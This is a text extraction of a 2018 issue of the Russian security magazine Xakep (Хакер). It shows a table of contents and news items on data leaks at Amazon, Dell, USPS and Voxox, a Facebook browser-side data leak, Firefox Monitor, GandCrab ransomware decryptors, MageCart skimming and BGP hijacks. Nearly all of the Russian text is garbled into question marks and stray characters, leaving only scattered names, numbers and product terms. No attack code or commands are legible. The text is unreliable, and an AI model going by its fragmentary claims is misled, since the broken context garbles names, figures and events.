close

Вход

Забыли?

вход по аккаунту

?

ХАКЕР №236 2018

код для вставкиСкачать
??????�18
?�6
CONTENTS
MEGANews
???�????�?�??�?????�????
???�????燗ndroid
???�??�??�?,�??�????�?��??�??�??�?�?????
FPGA
???�???�???,�??�????�??�???�????�?????�??????�??�??�?��??�??�?????
FPGA
???�???� ???�???�??� ????�??� ?� Xilinx� Vivado,� ???�?� ????�??� ???�??�??�?� ???�????�?
????
??�??�?????�???????�??�??�??
???�?????�?�????�??????燜PGA��??�??�??�????�?
???�????�???�??�???�?�?????�??
???�???�??��??????�??
??�??�??�????
???�???�??�??�??�?��??�???�??�????�?�??�?�??????�??
??????????????燩owerShell
???�???�???�????�??�??�????�?�???�???�???�?
???�?�??????!
??�??�??�???�??�???�?燱i?Fi�?燩ython
??�??�???�???�??�???�?�???�???
??�???�?�??�??�??�?�??�????�?
?????�????????�????�??
???�???�????�?燗PT38�??�??�?�??�??�??�?�??�?????�??�????
???�?????�????�?
???��??????燲SS�????????�??�?????�??�??�燛vernote
???�?????爏okoban
??�???�???��????????�?�???�?�燙lojure
???�?燴
??�???�???燴?Uno,�??�?�??�???�???�?????�???�??�???�?�???
??�????�??�?????�??�?
???�??�??�???�??�??燗ndroid,�??????�????爎oot
???�?????�??�??�?
???�???�??�?????�?��??????�????�??????�??�??�??�????�???�??�??
WWW
??�????�??�??????�???
??�??��??�???
???�???�???�?�?營DE��????�????�??�??�?????��??�??�??��???
???�??燱inAPI
???�??????�?????�?????燱inAPI��??�?�??�???�??
??�?�??�??�?
???�?????�???燬nort��????�??�???
???�???�?燱indows
???�???????�????�??????�????��?�??�??�?�?燗ctive燚irectory
??�???�??燾Panel
???�??�??�??燙SF�燙XS�??�?????�??�????�?燚DoS��??�???
???�?
???�???�?�???�??�??
?????牜Mifrill粻????????
nefedova@glc.ru
�
??????�?????
???????
?� ????� ???� ????�?� ???�??� ???�???�??� ???�???�?.� ???� ??????�???� ????�???,
???� ???�?� ???�????�?,� ???�????,� ???�?????�?� ???�??�??� Elasticsearch,
?�??????�??�??�?????�????� ???�???�???��????�??�??�???.�?�?????�
???� ????� ?� ???�??� ?????�?� ????�???� ?� ????�??� ???�????,� ?� ????�???�??,
????�??� ???????� ?????�???,� ?� ??????� 2018� ????,� ?� ??????�??,� ????� ?????�
??????�????�??�???�??�?.
Amazon
????�??�???�?� ???�????� Amazon� ???�???�?� ????�?????�??� ??� ????�?� ????�
???,�?�??�???�?�??�??�?�???�????�?�??????�??????�??�??�?????.
21�???�?�18�???�?????�??�???�?????�?�?????�?�????�??�???�?,
????�?????,� ???� ?????� ????�??� �??�????�???� ????粻 ??� ???�?� Amazon� ??
email?????�?�???�??�??�?.�??�?�???�?�??�???�?�???�?,�????�??�????�
??????�??� ???� ???�?????,� ???� ???� ????????� ???�??� ?� ????�??� ????�??� ?� ?
?????牜???�????�??�???粻????�???,��???�?�?�??�???.
?????� ??????�???� ???????� ???�??� ??????�???� ?????� ???�????� ????
???????�???,� ???� ????�?� ???�????� ????�????,� ????�?� ????�??�???�?� Ama?
zon�??�?????�?�???�?????�??��??,�??�???�????�?�???�??�?�???
???�?????���??�?????�??�?�??????�??�??�??�????�??.
???� ????� ??� ?????�?????�??� ???�????�???� ????�??�???�?� Amazon� ?????�
??????� ?� ??� ???????�?� ???�?????� ????�???.� ?????�???�??,� ???� ???�?� ?????�
????�??�????:�???�?????�??�???��??�???�?�??�??�???�?�?????????
???�?��???�?????�??�??�??�?�?????�???�?????.
Instagram
???�????�???營nstagram�????�???�???�?,�??�??�??��??�??�????�?????,
???????� ???�???�?� ???�???� ????� ???�??� ??� Instagram,� Download� Your� Data.
????� ???�??�???� ???� ????�???�??� ?� ????�?� ??????�?� ????.� ?� ???� ???????
????�?????�?� ?????� ??????�???????� ????� ????,� ?????,� ???�????�??,
???????�??�??�???��??�??�??�??,�??�??�??��???�??�??????.
?�????�??�????�?�????�??�??�??�??�???�??�??�??�??�??�??�??
????�?????�?� ???�????� ???�???�???� ??????� ?????� ???�?????.� ?� ???� ????�
??????,� ?????� ????�?� ?� ????� ?� ??????�??� ???�???� ????� ??????� ?� ???�???
????�???�??�??�??????�燯RL�??�??�?��??�????�?�?�??�????燜acebook.
???�????�???�??�???,�??�???�???�??�?????�???�?????�??�?�????�
??????�??,�?�?�??�????�??�??�???.��???�????�??�????�??�???,�??
?� ???�?????� ???�?� ???�????�????� ??� ????�?� ???�??� ???� ???�???� ?� ????�
?????燜acebook,��??�燚ownload燳our燚ata�??�?????�??.
????�??�???�?� Instagram� ???� ???�??�???� ?????�????�??� ???�??�??�??
??�???�??�?��?????�?�?�?�??�??�??�??�??�???�?????,�???�???�????�
??????�??�????�?????�??,��??�?�???�???�???�??�??�??�?.
Facebook
???�??????� ???�????� Imperva� ???�???� ???????�??� ??� ???� ??????�?????
????� ?� Facebook.� ???�???�????�?� ???�?� ????????� ???�??� ?� ???�??� ???�??
????�?????�??��?�??�??.
??�??�??�???�???�????�???�???�??�????�(Ron燤asas)�??�??�????�
??,�??�??�??????�???�?????��???�?燜acebook.�???�????�??燞TML,�???�
???????�??????,�??�??�??�?????�??�???�?�????�??爄frame????�???,�???�
???�?� ??????�?????�?� ???� ????�????�?� ???�??�?.� ?????� ????�????,� ???
??� ????� iframe???� ?� ???�?� ????�?????,� ???�????� ??� ????�????� ???�??
?�?????�???�??�??�???�?????�??�?????�????.
??�??�???�??,�?????�??�???�??�???�??牜??/???�,�????�???�???�???
??????,� ???�??� ??� ????�???????� ????� ???� ???� ????� ????�???,� ?????� ??� ????
?� ????�????�??� ??????�?,� ????� ??� ???�?� ???�??� ????�?????�?� ????� ?� ?????�
?????�??� ????�???�???�???,� ????�????�??� ???�??,� ??????,� ???????
?�??�???�??�???�?�??�???�??,��??�????��???�????�??.�????�??�??
???� ???�?????� ???�??� ?????�?,� ?????�????�??� ???�???�?????� ????� ????�
????????�??�?????�???�?�?????�??牜???�???粻???�?�??�??,�??????�???�
?????�?????�???�?????�?��??�??�??.
???� ???� ??????�??� ???�??� ???�??� ???� ??� ?????�????� ????� �??�?????�
???�?????�???�??燜acebook,�??�??????�????�???�?��??�???�???�??.
?????� ???�??� ???�????�??� PoC?????�???,� ??� ???????� ?????�????�??� ????�
??????�??�?�?????�???�??�?�????.�????�??�??�??�????��???�????�
?????� (????� ????�??� ????� ?� ?????� ???�?� ???� ????�????)� ???�???�?
?�??????�??�???燡avaScript,�???�???�??�?�??�????�???��????�????�?
????�????� ???�???� ?????� Facebook� Graph� API.� ???,� ???�??�??� ?� iframe????,
???�??�?????�爁b.frames.length��??�???�?�?????�?????.
??�??�???�???� ????�??,� ???� ???�?� ????� ???�?� ??????�?????� ???�???� tab
under,� ??� ????� ???�?????� ?????� Facebook� ???????�?� ?????�???�?� ?� ???????
?????�?,� ???�?� ???� ????????� ???�????�??� ????�???� ???�?� ?????�???� ????�
?????� ???�??� ????????????,� ????�??�??� ????�?� ???� ??????� ???.� ??????
PoC????�?�??�?�??�???��?????�???.
??�??�??�??�?�??????�?????�?�??�??,�???��??�??�????��??�???�
??�????�?�????�??????�??�???�??,�??�?�???�????�??�????,�??�??,
???�??�????�?�???�??�??�????.�??�???�??�?�?????�?�?�???�?�???�
???� Chrome,� ??� ?� ???�??� ???�??� ???�??�??.� ???� ????� ????�???� ??� ???????�
???� ????�?????�??,� ????� ??� ????�?� ????�??�?� ???�?� ????� ???�?� ?????�??
????�??,��?�?�????�????.
?� ???�?????� ???�?� ???�??????� ???� ?????�???,� ???� ???� ?????� ???�????
Facebook��???�???�??��??�?????�?�???,��?�?????�????�??�????
???�?????�???� ???�??� ???�???� ???�???.� ????�??�???�?� Facebook� ????�
?????�???,�??�??�??�??�??�??�??�???牜???�?粻????�???�?�???.
Dell
????�??�???�?� Dell� ????�???,� ???� 9� ????�?� ????� ????�???�?� ????�??????�
???�??� ???�??�??????� ?� ????� ???�????,� ???�??�??�??� ?� ???� ??� ????.� ????�
??????�???????�??????�??????�??��???�?????�??燚ell.com�(???�?????�
????�?,� ???� ??� ?????�????� ???????�??� ????�????�??� ???�???�?� ??� ????�
????),�???�??�?�??�?,爀mail?????�?��?????�??�??�?????.
???� ????� ????�??�???�?� Dell� ??� ????�???,� ?� ?????� ????�?� ????�??�?
????�???.��??�???,�???�?????�??�?????�燤D5,�???�???�?�????�????
???�?,� ?????� ??????� ????� ??� ??????�?� ???�?,� ???� ???�???�??� ?� ???�???
????�???�??�??.
???????????�??�????�??�??,�??�??�???�????�?,�???�???,�??�???�?
?�?????�??????�???????�??�??�?�???燚ell,�???�???�??????�?????�????�
???�??�?�???�???�?�?�???�(???�??�???�??,�???�??,�??�??�??�???�?).
??�???�???�?��??�??�??�?�??�??�??�??�???�?????�??,��???�??�????�
??� ???�????� ???�????�???,� ???� ??� ???�?� ????�??�?� ?� ???�?� ???� ??� ???�???�
????�??�?.�??�?�????�???�??�???�?燚ell�??�???�??????�???�???�??
??????� ????�?????�??� Dell.com,� Premier,� Global� Portal� ?� support.dell.com
?�????�??�???�??�??�????�????.
???�????�???�?�??
??�??�???� ??????�?????� ????�?� ?????� (Brian� Krebs)� ???�??�??,� ???� ?????
????�???� ?� API� ??� ???�?� ???�????� ????�?� ???� (U.� S.� Postal� Service,� USPS)
?????� ???????�??�????�??� ????�???????� ???� ????�??????� ???�??� 60� ????�
??????�??????.
????�???�???�????�?�??�????,��????�?????�??????,�??????�??
??????�?� ????�??�???.� ?????� ???�???�?,� ???� ?????�?????� ?????�???�???
????�??�?��???�?�??????:�??�??????�?�????�??�??�????,�???????�
??�??�?????燯SPS��??�???�????,�?�??��?�??????�?????�?�???�?.
????�?� ????� ???�???� ?� ???????� API,� ????�????�???� ?� ???�????� In?
formed� Visibility.� ???�??� ???�??� ???� ???�???????�?????�??� ???�???�?� ??????�
??????� ??????�????� ????�????�?� ?� ?????�??� ???�???.� ???� ???�?????,� ?????
????� ?????� ??????�??�??� ????�???????� usps.com� ???� ????�????�???
???????�??��??�??�???�?????�??,�???�??�?�??�?,爑ser營D,爀mail??????�
??,�?????�???�????,�??????�??�?????,�??�????�???�?.
?????� ?????,� ???� �??????粻 API� ???�?� ???�????� ??????� ????�?????�?
???�???� ???�??� ??� ????�????� ???� ????�??� ??????� ???�???� ??????�?,� ??� ????
????� ???�????� ???�???� ?????� email,� ???????�??� ?????� ???� ???�??� ????�
?????�?????.
???�?� ???�????� ????�???� ???????� ????�??�???�?� USPS� ????�???,� ???
???�??????� ??????????� ????� ?????�???� ?,� ???� ???� ??????�?,� ???????� ?????�
?????�???,�??�?�??�?�???�?????�?�??�???�????�?,�?�???�???�?.
Voxox
???�???�???�????�???�?�??�??�???�?????�?�??�????�???�??�???�?
Voxox,� ???????� ??????�???� ??????�??� ?� ???????� VoIP� ?� ???�???�?� ???�??
???�???�?�?????�?????�???�??�???�??�??�???�??�?????�?燬MS??????�
?????�??�????.
??�??�??� ??????�??????� ???????�?� ????� (S閎astien� Kaul)� ????�????
?� ???�??�??� ???�???� ????� ???�??,� ?????�????� ?????�?� ???�?????� ???�???�
???�???�????,��??�??�?�?�???�???�??�???�?�??????,�?????�????�
??????�??� ?????�?????�??� ?� ??????�????� ?� ???� ?????.� ???� ???�????
????????�?,� ????� ???�??�?????� Voxox.� ???� ????� ?????�???�???� ???�??�???,
???�?�?????�?�燗mazon燛lasticsearch��???�?????燢ibana,�?�???�??�???�
???�???�???��??�????�?��???�??????�???�???�??�?,��????�?,�??
????��??�??�??�??,�???�?�?�??????�??�??????�??�???�?�?�?????�
??????�???�????.
???�????��???�????�?????�??�?��??�?????燬MS,�?,�???�?????
???????�??� ????�????,� ????�???�?????� ????�?????� ???�??� ??????� (???
???�?� ????� ???�?????� ????�????�?� ?� ?????�??� ???�???� ??� ????�????),
???�??�???�??�??�?�??�??????�?�???�???�??�??�?燬MS.
???�????�?�???�??燭echCrunch,�??????�??�????�???�?�??�?????�??,
???�????�??�???�?�??�????�????�?????�?��??�??�???�?,�??�?�???�
????�???�?????:
? ??�???� ??� ???�???�??� ???�?????� Badoo,� ??????�?????� ?� ????� ????�???
???�??�?�????��????????�????
? ???�???�?� ???�??�??� Booking.com� ???�?????� ???�?????�??� ????� ?????�
??????�??� ?????�?????�??,� ???????� ???�?????� ??????�???�?� ?� ????� ????�
??????
? ???�??�??� ????�????� ?� 2?????????� ???� ????�????� Google� ?� ?????�???
???�????
? ???�??�??�??�??�???�?????�(?�???�???�???�??�??)�?燜irst燭ech燜eder?
al燙redit燯nion?
? ???�??�????� ??� Amazon,� ?????�????� ????�?,� ??� ???????� ????� ???�????
???????�??��??�??�?�?????�????�????燯PS��????�??�?????
? ???�???�??燢akaoTalk,燰iber�燞Q燭rivia�?????�?????�??�??�??�??????�
?????�??????�??�??????�???�?????�???
? ??�???�??,�????�????�???�??�???�?�??????�?�???�????燤icrosoft,
?�???�????,�????�????�?????�???�????�???燞uawei營D?
? ??�??�??�?????�??�???�??��??�??�??????�???�??????�??�??????�
??????� ???�??� ???� ???�????� ????�????� ????�????� ?� ??????�???�??
?�??�????�??�??�??.
?� ???�?????� ???�?� ?????� ???� ???�???,� ???� ???� ???�????�?� TechCrunch
?� ????� ???�???�?� ???�????� ?� ???�???�????� ???� ??� ???�??????� ???�??
??????�??.
Firefox�?�???�?
?� ???�????� ??????�?� ????� ????�???� Mozilla� ????�?????�?� ??????� ???�????�
????� ???�???� Firefox� Monitor,� ???�??????�???� ?� ???�????�??� ?� ????�???�??
???�??� Have� I� Been� Pwned� (HIBP),� ???????� ???�??� ?????�???� ??????�??????
????�???�(Troy燞unt).�????�??�??�??�???�?�??�?????爀mail??????��???�
???�??��??�???�???�?�???�??�??�?????�??�??�???�??.
Firefox燤onitor,�?�???,�???�???�??�????�???�???�?�??燞IBP��??????
?� ???� ???�????�???�???� ?????� ????�??�???�????�??� ???�??,� ????�????
???�??????�????.�???�??�??�??,�????�?�????燜irefox燤onitor,�???�??
??� ??� ?????� ???�?� ???�???� ???�????� ?????� HIBP,� ?� ???�?� ???�?????�?
??�??�??�????��??????�???�??.
??�???�??�?????�?燤ozilla�???�???,�??�??�???�?�??�??�????�????
Firefox燤onitor��??�?�??�???�??�??�??燜irefox�??�??�??�??�??????�????�
??????�??� ?� ??????�??� ???�??,� ???�?????�????� ???�??�???�???,� ???????
???�???��???�??�??�??.
??�?� ????�???????� ???�??� ??� ????�??�??� ???�??????� ????,� ?� ??????�?
????�?�??�??,�?�??�??�???�???�??�???�??�??�????,�??�???�????�???�
??????�???�??�??�??��??????燜irefox燤onitor��?????,�??�??�???�?�??
??�??�?�???�??�??.
??�?�???�???????�????�?�?�??????�????�??�??�????,�??�????�????�
??????�?�??�??????�???????�?�??�??�??,�??????�??�??�???�?�??�??
???�??� (???�???�??�???� ?� ????� HIBP)� ??� ???�?????� 12� ???????.� ????� ??
????�???????� ???� ?????� ?????� ???�??�????,� ???� ?????� ??????�???� ???�???�
?????�??� ????� ???� ???� ?????�??,� ???????� ???�??�????� ???�??�???�??
??� ???�?????� ???� ??????.� ???�?� ????,� ???�??�????,� ?????�?� ??,� ???�?
?????�????�???�??�?.
???�???�?燝ANDCRAB�?????�?�??�?00�0
???�????
???�?????�?�????�???�??????,�???�???�燘itdefender�????�???�????�??�??�??�??�???�
??�??�??�?????�?�??�??,�??�??�??�??�?�???�?????�???燝andCrab.
??�??� ???�??�???� ?????� ???�??�?????� ???�??,� ?????�????�??� GandCrab v1� (???�??????
GDCB),爒4�(???�??????燢RAB),��??�?�????�??�????爒5�(???�??????��??�???�??�??�??
??????�??�????).
??�???�?燘itdefender�???�???,�??�????�??�?�?�?????�??�???�?燝andCrab�????�???????
???�?� 1�0�00� ???�????� ?????�????�??� ???????.� ????� ???�???�??� ?????�????�??� ???
???�???�???????� ?????� 1700� ???�??�??�??,� ?� ???�?� ??????� ???�????�?� ??� 600� ??� 700�0
(sic!)�??�????�??�??�????�??�??.
????�?� ???�?� ???�??�???� ???�????�?� ????�?????�??� ??�
?�??.
????? ?????,� ?????,� ?????
?????燤AGECART
????????????
?� ???�?????� ??????� ?????????�?� ???� ????� ?????� ?� ???� ??????�???� ???�??
MageCart,��???�??????�??�???�????�?�?????�?�??�??�??�??�???�???
????�?????�??.
�?????粻 ????�????�??� ???�?� ????�?� ????�???:� ???� ????�???�?� ?????
???�??�??�?�(????�??�?�??�?????�?�?�???燤agento)�????�??�????�?
?�????燙MS�??�?�??�????.�????�???�????�?�???�???�??�????�??�??
JavaScript� ??� ????�???� ????�?� (???�??�?????� ???�???�??� �???�??�),
???????� ?????� ????�??� ???�????� ????�?????�???� ?????�????� ???�??
(??????�??�??�???�???,�??�?,�???�?��??�????).
???�?????�?�??�?燤ageCart
??� ???�??� ???�?????�??,� ???�????�??� ???�????� MageCart� ???????
???�??????��15�???���?�??�??�??�???�?�?�???�????�???�???�?,
?� ???�?� ???�???�?,� ???�???�???� ????�????�?� ???�???�??� ???�???.� ?� ????�
????,� ?????� ????�????�?,� ???????� ??????�?� RiskIQ� ?????�???�?� ???� ???� ??
???�??� MageCart,� ???�???�?� ???????�??� ???�??� ?????,� ???????� ???� ????�
?????� ???� ???????� ????.� ????�?� ???� ???�?� ???�????� ????�????�??� ?� ????
??????�?�???�???�?�??�??��??�????燭icketMaster.
??�???� ???�???�?� ???�????� RiskIQ� ?� Flashpoint� ???�?????�?� ?????� ????�
???�???� ?????� ??� ???�??� MageCart.� ???�?????�?� ???�???� ???�???�???
??????� ??????�?� ????�????�?� ?� ??� ???�???.� ??????�?� ???� ???� ???�??�??�?,
???��??�?????�??�?�??�?燤ageCart�??�?�???�???�?�??�??�??�?????�
????� ?????,� ????� ????�????�????� ???�?????�??� ???�????�??� ???�???�?
????�??�??.
?� ???�?????� ???�?� ???�?� MageCart� ?????�?� ??� ????�?� ??� ???�?,� ???????�
????�??�??????�???燤agento.�??�???�????�?�??�?�???�?????�?�???�
???�??�???�??�??�??�???�???爀?commerce,�???�??燩restaShop,燨penCart
?�??�?????�??????.�????�??�???�????�?�??�??�???�???��??�??�??
???�???,� ???�??�??� ?� ??????�???� (???�????,� ???�?????� ???�???� ?????
???�??�??�??).
???�?� ????,� ???�?????�?� ???�???,� ???� ??????�??� ????�????�?,� ????�????�
????� ???�?� MageCart,� ??� ????�?� ???�??�???�???� ????�??�??� ???�?� ????,
??� ?� ???�???� ???�??� ?� ????�??�??� ?????�??,� ?� ???� ????�??�????�?� ????�
??????,� ??� ???�??� ???�?.� ?� ???�???,� ?� ???�????� ??????�?� ????� ??????�?
Flashpoint� ??�?????�?� ???�????� ???�??�?� MagBO,� ??� ???????� ???�???� ????�
?????��??????�???�??�??�??�??.�??�?�?????�?�???�?????�?,�??�???�
??�??�?????�?�?燤agBO�??�????��??�???燤ageCart�????�???�????.
??�???�??�???�?燫iskIQ�????,�??�?�??�???�??????�??�??????�???
????�??????,� ??????�?????� ???�???� MageCart,� ?� ???�????� ???�???�?� ????�
????� ???�?� ?????�??� ???????�?� ?� ?????�???� ??� ???.� ??� ???�??�??� ????�
?????,�??�???�?�?????�???�?�?�??�?�?�0�????�??�?????�?????�??.
????�?� ???�?� ???�??????� ????�?� RiskIQ� ???�?� ???� ?????�???� ???????�
??????�?,�??�??�?�???�(Willem燿e燝root)��??�??�?????�(J閞鬽e燬egura)
??� Malwarebytes,� ????�???� ?� ???,� ???� ???�????�??� ?� ???�?� ????� MageCart
????�??�???.
??�?� ??????�?????� ???�?????�??� ??????�??� RiskIQ,� ???????� ????�????
????�????�??� ?????�????� ??????,� ???????�?,� ???� ????�?� 9,� ??????�????
??�??�?�????�?,�??????�???�?�??�?�??�????�??,��??�???�?�???????�
???�?�???�?��??????�???�?�??�???�??�?��??�??�??�??�???��????�
???�????�??�???.
????�?� 9� ??????�?� ?� ????� �???�??粻 ???�????�??� ???,� ???????� ????
??????,� ???�??�??� ?� ???�???�??� ???�????�??.� ???�?� ?????� ??????� ?????�
????�???�?,�??�???�???�?�?�???�?�???�?�?????�????�??�??�?????�
???,�?�??�???�?�????�???�????��??�??�??�??,�??????�?????�?�????�
??� 3.� ???,� �???�??粻 ????�?� 9� ???�???�???� ?� ???�???�????� ?� ???�???�?
???�?????�??�?��???�??�??�???�??�??????�??�??�???�???,�??????�
???�?�??�??�??�???�??.
??�???�???�?????�?,�??�????�???�??�???�??�?�???�?�????�?�???�?
????????� ??????� ???�????�?,� ?� ?????????� ??????�??� ????�?� 3.� ????� ?� ???,
???� ???�?� ??????�??� ??????� ???�??�???� ????� ???�????�???� ??� ???�???
??�??�??�??�?,�?�??�???�???�?��?????,�?�????�?????,�??�????�?
�?????粻 ????� ???????�?,� ?� ???�???�?� ?????�???�???�??� ???�??.� �?� ????�
?????�?????�???�??�??,�??�?????�?????�?????�??�??�???�??�?,�???�
??�???�????�?�??�??�???????�??�?�??�??�?�,��????�?????.
?�
???�?????�
???�?�
???�?????�?�
????�???�?�
�???�???�
?????� 9� ?� 3� ?� ????�?????� ??????�?� Umbro� Brazil,� ?� ???�?� ?� ???�??????�??
Bliv.com.
??�???�?� ??????�?,� ???� ????�?� ???�??� ????�?� ????,� ????� ????????�???
???�??�??�??????�??????�????��???�?????�??�??,��???�??�????�???�
??�???�???��??�?????�???�?��??,�??��??????�??�????�??��???
???????� ???�??� ????�?� ???�??,� ????� ???�?????� ????�????�??� �?????粻 ???
???�????�???�???�???,��????�???�??�??�????�?.
???�???�?�???�??�??�????�?,�??�??�?,�??�??�??�??�??�??燤age?
Cart,� ?????� ???�?� ????�???� ??� ???�?????� ??????�??.� ?� ???�?� ???�?� ??????�
????�???� ???�??�??,� ???� ?� 2015� ????� ?????�????� ?????� ???�?
??��0�??????��???�?��??????,�??�????��??????�?????�?�???�??
???�???�????�?????�?�??�?�????�??�?�00�??????.
?� ????�??� �???�???粻 ?????�????� ??????�?� ??� ????�??�??� ????�
???�,7�??,�??�?�???�?,�??�??�???,�???�???�???��??�???.�???�?�?
????�??�??�????�?,�??�???�??�?????�?�?�???????��??�????�??�??,
?????� ???????� ???????� ????� ?????�???� ???�??�???�??,� ??????� ??� ????�?
???�???�???� ????????�???.� ???,� 21,3%� ???�??� ???�????�???� ???�?????
??????�???.� ???�??� ???� ???�???�?� ???�??:� ????�?� ???�???�????�??� ?????
???�?� ????,� ????�?� ??????,� ?� ?� ????�??� ???�?????� ?????� ???�???�??� ?????�
??�,5�??.
??�??�???�???�??�???�?,�??�????�??�???�??�?�???�??�??,��???????�
????�?????�??�?�??:
? ???�???�?� MageCart� ???�?� ???????�?� ??� ????�??�??� ?????�??� ???�???
?�??�????�?�??�?????�???�??�??�??�??�???�????
? ???�???�?� MageCart� ??????�???� ???????�?� ???�????�?� ??????�??,
?� ???�???� ????�???� ????�??�??�??� ??????,� ???????� ???�?� ??� ???�???
???�???�?,�?�??�?�?�???�???�?????�??�????
? ??�???�??� MageCart?????�?� ???�???�?� ???????�??,� ?� ????�?????� ??
???�???�???��??????�??�???�???�?�???�??
? ??�??� ???�???�?� MageCart� ???�??�??�???� ???�????�?� ??????�?� ???,
?� ???�????� ???�?� ???�????� ??� ?????� ????�?????� ???�?,� ???� ???� ??� ???� ??
?????�??�?.
???�?????�???�?�????�??�?????�??�????�
?????�??????�??�??????
???�?????�???� ??� ?????� ???�???� ???�???�??� ???????� ???�?� ?� ???�????�????� ???�??�??�??
???�??�??�??�?????�??�????�????�??????�??�??????�???�?????�??.�?�???,�??�???�?
???�??�??�??� ???�??� ?????� ????�???,� ???�???�???�?� ??� ?????� ??????�?� ????�?????�?� ????�
???�????�???�?�??.�???�???�??�???�??�??�????�??�??????�?�?????�?�??�???�?,��?
?????�????�?????�?�??�?��????.
?�??�???????�??�??�??�??�?????�??��??�??�??�??�??�????�?�??????�????�??�????�
????????�??� ????�??� ???� ???�??�???�??� ????�????�??.� ?????�??� ???�????�????� ???�??????�
????� ?� ????�??????� ???� ?� ???�????� ???????�??� ???�?????�???�??� ???�?� ???� ???� ????�??,
???��??�???????�??��????.�??�??�???��??�???�??�??�???�???�??,�??�??�?�????
???�????�??�?�??�??????�???��???�???��???��?????.��???�?????�???�??�??�???�
????� ??� ???� ???�?� ????????,� ???� ??� ?????� ????� ????�???� ?� ????� ???� ???�??� ???�?� ??????.
?� ????�???,� ???�?� ???�??�??�?� ???�????� ???� ???�??�??� ?????�??�??� ???�??�??,� ???� ????�
?????�?�??�??�???�??�??�?????�???�??�??�??�??�??�?????�??�???�??��?????�??�??
????�??� ?� ?????�????� ???�?????� ???�????,� ???�?????� ???�??????�????� ?????�????�??
???????�??,�??�???�???�????�????�??�
?�??�?�??�?????�???�???�????�????
??????????? ??????
?
? �?????�?????
????????燘GP
?�???��?????
?????????
?�???�?�18�???�??�???�?�??�?�??�???燘GP????�??�???�??,�??????
?????�?� ???�????� ??� ??????� ???�????� Google� ?� ???�?????� ??� ????�?????�??
??????.� ???�?� ???�???,� ???� ?� ?????� ????� BGP????�??�???�??� ???�???�??
???????�?,�??�??燘GP�??�??�??????��80??�????��?�??�?�???�????�
???�???� ?????�?????� ???�??� ???????�??� ???????�????.� ?� ???�???,� ?????
??????�?� ????� ???� ?� 2012� ????� ???�??�??� ???�??�?� ??�?????� ???� ???�?
?�?????�??�??????�??.�??�?�????�????�??�???�??�?�??�?�???�???
??�???,�??�??�???�?��???�?????.
Google
12� ????�?� 2018� ????� ???�?� 13:12� ?� 14:35� (PST)� ?� BGP????�??�???�??� ????�
???�??�???,�??�???�??�?�?????�??�????燝oogle.�???�??�????燝燬uite,
?????��??�???�?,��??�?�??�????�???�?????�??�??�??�????��??�??�??
???�????,� ????�??� Spotify.� ?????�????� ???�??�??�???� ????� ??????�??
???????�???�??�??�??燤ainOne燙able燙ompany�(AS37282),�???�??????�??
?????�??� ???�??�????,� ???� ???�??� IP?????�?,� ????�?� ???�??�??????
????????�???燝oogle.
??�??�??�??�???�??�???�??�???燘GPmon,�??????�??�??�?�?????�?
???�???��??????�?��??�??�???�????�???�???,�??????�???�??�??�??
????�??????� ???� ???�?� ????�??�??� ???�???� 212� ???�??�??.� ??� ???� ????�
??????�???� ????� ???????� ?� 74� ??????� ?????�???� ???�???.� ?????�??
???????�??�??�??????�?????�??�?�??�??�??�??�????,�???�??�??�???�
????牜????�??�????粻(AS20485)��???????�???�???�????�??�?�??�??�???
China燭elecom�(AS4809).
??� ???????�??� ???�?????�??� ???�????� ThousandEyes,� ?????� ?� ????????
???�??????�??�?�??�?�???�?????�??�??�????�??�???????�?.
�???� ???�??� ???�????� ?� ????????� ?????�???� ???�????� ?� ???� ???-�
??????�??�??�??�??�??�??�???�????燙hina燭elecom�,��????�??-�
????�?� ?� ?????�???,� ???� ???�????�???� ???�?� ???????�??� DoS??????.
??�?????� ???�??� ???�??�??� ???????�??� ???�?� ???�?????�??.� ?� ???� ???�?
?� ??????,� ???� ??� ?????� ???� ?� ????�??� ??????� ?????�???�???� ??� ?????�
??????�??�?� ???�????� ???� ?� ?????????�??�?� ???�??�?????� ????�???� China
Telecom� ?� ???????�??� ?????�???� BGP????�?.� ???�?� ???�??�??� ???�?� ???
?????�??�??� ???�????�?� ???�??� ?????�??� ?????,� ???� ??????????� ???????
???�??.� ???�?� ??????� ?????�???�????� ???�???�???� ?� ???�???�?� ???�????
Oracle.
????�??,� ??� ????� ???� ???�??�??�??,� ??????,� ???�???�???�?� ????� ????
???�??�?????.�?�???�??�???�???�??�???�?燤ainOne�??�??�??�?�????�
?????�?�???�???��???�???,�??��???�??�?????�??�???�?????�?�???
????� ?????�?� ????�?????�???�?� BGP?????�??,� ???� ?� ???�???� ?� ???�??�??
????�???.
????��?????
???�?????�?燪rator燣abs�???�???�?�???�?�??�?????�??�????�??�???�
????�??�??�????,�??????��???�?�18�???�??�???��???�??�??�???
?�??????�??�??�????�??�???�???�??�?�???�?????�??��??�??.
?� 16:00� ??� ???�??�??�?� ???�???� ??????�??� ???�????� Krek� Ltd� ?????
????�???????� ????� ???�?� ???�??� ???�??�?????,� ?????� ????�??� ????????�
?????�??�?????�??�????�??�???牜???�?????�?粻??�???�???.�???�???�?
?� ?????� ???�?????� ????� Krek� ??� ????�?,� ?� ??????�???� ???�??� ?????�????�?
??????� ???�????� ???� ????�?????�??� �??�?????�?�.� ?� ???�?� ???�??�??�??
??????� ?????�???� ???�????,� ?????� ???� Amazon,� Youtube,� ????�????,
?????????????�??營VI,��??�??�??�??.
??� ????�?� Qrator� Labs,� ???�????� ???�?� ???�?????� ??� 10� ??� 20%� ?????�
??????�??� ?� ??.� ???� ?????� ???� 5000� ?????� ????� ????� ????� ???�???�??,
???????�????��??�??�???�??�??�?�??�??�???�???.
???�????� ???�????� ?� ??????�???� ????� ???�??�??� ???�?� ?????� ???�??:
????燢rek,�????�?????�???�?��??�?????�??燘GP��??�????�??�???????�
???� ????�???,� ?� ????� �??�?????�?�,� ???????� ????� ???????�????,� ??� ????�
???�?�??�??�???�???�??�??�?�??�?��???�??�????.�????�??�??�???�
????�?�??�???�?燘GP�??�??�???�?�?�???�?牜???�?????粻????�???,�?�
???�???� ????�???� ???� ???�??� ???�????,� ???� ???�??� ???�??�?� ?????�????.
?????�??�??�?????�????�??�????�??�?????�????�???.
BGP� (Border� Gateway� Protocol,� ???�????� ???�??�???� ???�?)� ?� ?� ????�
??????� ???�?� ????????� ???�????� ??????�??�??� ???�??�???�??� ?� ????????�
??,�??�??�??�???�?????燭CP�(????�9).�?????�燚NS�??�???�?�???�??
???????�??,� ????�?????�???� ???�??�??�???�??� ???????�?.� ?� ????�??
??� ???�??� ???�???�??� ??????�??�??� ???�??�???�??� BGP� ????�????�??
???� ????�?� ???????�???� ?� ???�??�??� ??� ???�?� ??????�???� ???�??�????�
